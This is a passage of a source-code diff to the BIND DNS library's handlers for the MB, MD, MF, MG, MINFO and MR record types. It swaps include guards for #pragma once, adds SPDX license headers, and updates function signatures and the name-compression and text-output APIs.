-#ifndef GENERIC_MB_7_H
-#define GENERIC_MB_7_H 1
+#pragma once
 
 typedef struct dns_rdata_mb {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t mb;
 } dns_rdata_mb_t;
-
-#endif /* GENERIC_MB_7_H */
diff --git a/lib/dns/rdata/generic/md_3.c b/lib/dns/rdata/generic/md_3.c
index 78c36f92ef..f9319014c4 100644
--- a/lib/dns/rdata/generic/md_3.c
+++ b/lib/dns/rdata/generic/md_3.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_MD_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_md(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -38,12 +40,12 @@ fromtext_md(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_md(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_md);
 	REQUIRE(rdata->length != 0);
@@ -54,12 +56,12 @@ totext_md(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_md(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -68,13 +70,13 @@ fromwire_md(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_md(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -83,16 +85,16 @@ towire_md(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_md);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_md(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -117,7 +119,7 @@ compare_md(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_md(ARGS_FROMSTRUCT) {
 	dns_rdata_md_t *md = source;
 	isc_region_t region;
@@ -134,7 +136,7 @@ fromstruct_md(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_md(ARGS_TOSTRUCT) {
 	dns_rdata_md_t *md = target;
 	isc_region_t r;
@@ -152,12 +154,12 @@ tostruct_md(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	dns_name_fromregion(&name, &r);
 	dns_name_init(&md->md, NULL);
-	RETERR(name_duporclone(&name, mctx, &md->md));
+	name_duporclone(&name, mctx, &md->md);
 	md->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_md(ARGS_FREESTRUCT) {
 	dns_rdata_md_t *md = source;
 
@@ -172,7 +174,7 @@ freestruct_md(ARGS_FREESTRUCT) {
 	md->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_md(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -180,14 +182,16 @@ additionaldata_md(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_md);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return ((add)(arg, &name, dns_rdatatype_a));
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_md(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -201,7 +205,7 @@ digest_md(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_md(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_md);
 
@@ -213,7 +217,7 @@ checkowner_md(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_md(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_md);
 
@@ -224,7 +228,7 @@ checknames_md(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_md(ARGS_COMPARE) {
 	return (compare_md(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/md_3.h b/lib/dns/rdata/generic/md_3.h
index ae6369f430..530e2cb90c 100644
--- a/lib/dns/rdata/generic/md_3.h
+++ b/lib/dns/rdata/generic/md_3.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_MD_3_H
-#define GENERIC_MD_3_H 1
+#pragma once
 
 typedef struct dns_rdata_md {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t md;
 } dns_rdata_md_t;
-
-#endif /* GENERIC_MD_3_H */
diff --git a/lib/dns/rdata/generic/mf_4.c b/lib/dns/rdata/generic/mf_4.c
index 8d2c2b8482..e4ba81659a 100644
--- a/lib/dns/rdata/generic/mf_4.c
+++ b/lib/dns/rdata/generic/mf_4.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_MF_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_mf(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -38,12 +40,12 @@ fromtext_mf(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_mf(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_mf);
 	REQUIRE(rdata->length != 0);
@@ -54,12 +56,12 @@ totext_mf(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_mf(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -68,13 +70,13 @@ fromwire_mf(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_mf(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -83,16 +85,16 @@ towire_mf(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_mf);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_mf(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -117,7 +119,7 @@ compare_mf(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_mf(ARGS_FROMSTRUCT) {
 	dns_rdata_mf_t *mf = source;
 	isc_region_t region;
@@ -134,7 +136,7 @@ fromstruct_mf(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_mf(ARGS_TOSTRUCT) {
 	dns_rdata_mf_t *mf = target;
 	isc_region_t r;
@@ -152,12 +154,12 @@ tostruct_mf(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	dns_name_fromregion(&name, &r);
 	dns_name_init(&mf->mf, NULL);
-	RETERR(name_duporclone(&name, mctx, &mf->mf));
+	name_duporclone(&name, mctx, &mf->mf);
 	mf->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_mf(ARGS_FREESTRUCT) {
 	dns_rdata_mf_t *mf = source;
 
@@ -171,7 +173,7 @@ freestruct_mf(ARGS_FREESTRUCT) {
 	mf->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_mf(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -179,14 +181,16 @@ additionaldata_mf(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_mf);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return ((add)(arg, &name, dns_rdatatype_a));
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_mf(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -200,7 +204,7 @@ digest_mf(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_mf(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_mf);
 
@@ -212,7 +216,7 @@ checkowner_mf(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_mf(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_mf);
 
@@ -223,7 +227,7 @@ checknames_mf(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_mf(ARGS_COMPARE) {
 	return (compare_mf(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/mf_4.h b/lib/dns/rdata/generic/mf_4.h
index 4b00afcba0..eb1559acd1 100644
--- a/lib/dns/rdata/generic/mf_4.h
+++ b/lib/dns/rdata/generic/mf_4.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_MF_4_H
-#define GENERIC_MF_4_H 1
+#pragma once
 
 typedef struct dns_rdata_mf {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t mf;
 } dns_rdata_mf_t;
-
-#endif /* GENERIC_MF_4_H */
diff --git a/lib/dns/rdata/generic/mg_8.c b/lib/dns/rdata/generic/mg_8.c
index 0b60c90951..ca80a883d6 100644
--- a/lib/dns/rdata/generic/mg_8.c
+++ b/lib/dns/rdata/generic/mg_8.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_MG_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_mg(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -38,12 +40,12 @@ fromtext_mg(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_mg(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_mg);
 	REQUIRE(rdata->length != 0);
@@ -54,12 +56,12 @@ totext_mg(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_mg(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -68,13 +70,13 @@ fromwire_mg(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_mg(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -83,16 +85,16 @@ towire_mg(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_mg);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_mg(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -117,7 +119,7 @@ compare_mg(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_mg(ARGS_FROMSTRUCT) {
 	dns_rdata_mg_t *mg = source;
 	isc_region_t region;
@@ -134,7 +136,7 @@ fromstruct_mg(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_mg(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_mg_t *mg = target;
@@ -152,12 +154,12 @@ tostruct_mg(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&mg->mg, NULL);
-	RETERR(name_duporclone(&name, mctx, &mg->mg));
+	name_duporclone(&name, mctx, &mg->mg);
 	mg->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_mg(ARGS_FREESTRUCT) {
 	dns_rdata_mg_t *mg = source;
 
@@ -171,18 +173,19 @@ freestruct_mg(ARGS_FREESTRUCT) {
 	mg->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_mg(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_mg);
 
 	UNUSED(add);
 	UNUSED(arg);
 	UNUSED(rdata);
+	UNUSED(owner);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_mg(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -196,7 +199,7 @@ digest_mg(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_mg(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_mg);
 
@@ -207,7 +210,7 @@ checkowner_mg(ARGS_CHECKOWNER) {
 	return (dns_name_ismailbox(name));
 }
 
-static inline bool
+static bool
 checknames_mg(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_mg);
 
@@ -218,7 +221,7 @@ checknames_mg(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_mg(ARGS_COMPARE) {
 	return (compare_mg(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/mg_8.h b/lib/dns/rdata/generic/mg_8.h
index 195f842e6d..09fd206c31 100644
--- a/lib/dns/rdata/generic/mg_8.h
+++ b/lib/dns/rdata/generic/mg_8.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_MG_8_H
-#define GENERIC_MG_8_H 1
+#pragma once
 
 typedef struct dns_rdata_mg {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t mg;
 } dns_rdata_mg_t;
-
-#endif /* GENERIC_MG_8_H */
diff --git a/lib/dns/rdata/generic/minfo_14.c b/lib/dns/rdata/generic/minfo_14.c
index 7394e3f292..5c98f46085 100644
--- a/lib/dns/rdata/generic/minfo_14.c
+++ b/lib/dns/rdata/generic/minfo_14.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_MINFO_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_minfo(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -53,13 +55,13 @@ fromtext_minfo(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_minfo(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t rmail;
 	dns_name_t email;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_minfo);
 	REQUIRE(rdata->length != 0);
@@ -76,17 +78,20 @@ totext_minfo(ARGS_TOTEXT) {
 	dns_name_fromregion(&email, &region);
 	isc_region_consume(&region, email.length);
 
-	sub = name_prefix(&rmail, tctx->origin, &prefix);
-
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&rmail, tctx->origin, &prefix)
+		       ? DNS_NAME_OMITFINALDOT
+		       : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	RETERR(str_totext(" ", target));
 
-	sub = name_prefix(&email, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&email, tctx->origin, &prefix)
+		       ? DNS_NAME_OMITFINALDOT
+		       : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_minfo(ARGS_FROMWIRE) {
 	dns_name_t rmail;
 	dns_name_t email;
@@ -96,16 +101,16 @@ fromwire_minfo(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&rmail, NULL);
 	dns_name_init(&email, NULL);
 
-	RETERR(dns_name_fromwire(&rmail, source, dctx, options, target));
-	return (dns_name_fromwire(&email, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&rmail, source, dctx, target));
+	return (dns_name_fromwire(&email, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_minfo(ARGS_TOWIRE) {
 	isc_region_t region;
 	dns_name_t rmail;
@@ -116,7 +121,7 @@ towire_minfo(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_minfo);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&rmail, roffsets);
 	dns_name_init(&email, eoffsets);
@@ -126,15 +131,15 @@ towire_minfo(ARGS_TOWIRE) {
 	dns_name_fromregion(&rmail, &region);
 	isc_region_consume(&region, name_length(&rmail));
 
-	RETERR(dns_name_towire(&rmail, cctx, target));
+	RETERR(dns_name_towire(&rmail, cctx, target, NULL));
 
 	dns_name_fromregion(&rmail, &region);
 	isc_region_consume(&region, rmail.length);
 
-	return (dns_name_towire(&rmail, cctx, target));
+	return (dns_name_towire(&rmail, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_minfo(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -175,7 +180,7 @@ compare_minfo(ARGS_COMPARE) {
 	return (order);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_minfo(ARGS_FROMSTRUCT) {
 	dns_rdata_minfo_t *minfo = source;
 	isc_region_t region;
@@ -194,12 +199,11 @@ fromstruct_minfo(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_minfo(ARGS_TOSTRUCT) {
 	dns_rdata_minfo_t *minfo = target;
 	isc_region_t region;
 	dns_name_t name;
-	isc_result_t result;
 
 	REQUIRE(rdata->type == dns_rdatatype_minfo);
 	REQUIRE(minfo != NULL);
@@ -213,26 +217,17 @@ tostruct_minfo(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&minfo->rmailbox, NULL);
-	RETERR(name_duporclone(&name, mctx, &minfo->rmailbox));
+	name_duporclone(&name, mctx, &minfo->rmailbox);
 	isc_region_consume(&region, name_length(&name));
 
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&minfo->emailbox, NULL);
-	result = name_duporclone(&name, mctx, &minfo->emailbox);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	name_duporclone(&name, mctx, &minfo->emailbox);
 	minfo->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&minfo->rmailbox, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_minfo(ARGS_FREESTRUCT) {
 	dns_rdata_minfo_t *minfo = source;
 
@@ -248,18 +243,19 @@ freestruct_minfo(ARGS_FREESTRUCT) {
 	minfo->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_minfo(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_minfo);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_minfo(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -281,7 +277,7 @@ digest_minfo(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_minfo(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_minfo);
 
@@ -293,7 +289,7 @@ checkowner_minfo(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_minfo(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -322,7 +318,7 @@ checknames_minfo(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_minfo(ARGS_COMPARE) {
 	return (compare_minfo(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/minfo_14.h b/lib/dns/rdata/generic/minfo_14.h
index 8cfecad2f9..f2a530ad77 100644
--- a/lib/dns/rdata/generic/minfo_14.h
+++ b/lib/dns/rdata/generic/minfo_14.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_MINFO_14_H
-#define GENERIC_MINFO_14_H 1
+#pragma once
 
 typedef struct dns_rdata_minfo {
 	dns_rdatacommon_t common;
@@ -19,5 +20,3 @@ typedef struct dns_rdata_minfo {
 	dns_name_t rmailbox;
 	dns_name_t emailbox;
 } dns_rdata_minfo_t;
-
-#endif /* GENERIC_MINFO_14_H */
diff --git a/lib/dns/rdata/generic/mr_9.c b/lib/dns/rdata/generic/mr_9.c
index 295cf6ed1a..b0e4200b6a 100644
--- a/lib/dns/rdata/generic/mr_9.c
+++ b/lib/dns/rdata/generic/mr_9.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_MR_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_mr(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -38,12 +40,12 @@ fromtext_mr(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_mr(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_mr);
 	REQUIRE(rdata->length != 0);
@@ -54,12 +56,12 @@ totext_mr(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_mr(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -68,13 +70,13 @@ fromwire_mr(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_mr(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -83,16 +85,16 @@ towire_mr(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_mr);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_mr(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -117,7 +119,7 @@ compare_mr(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
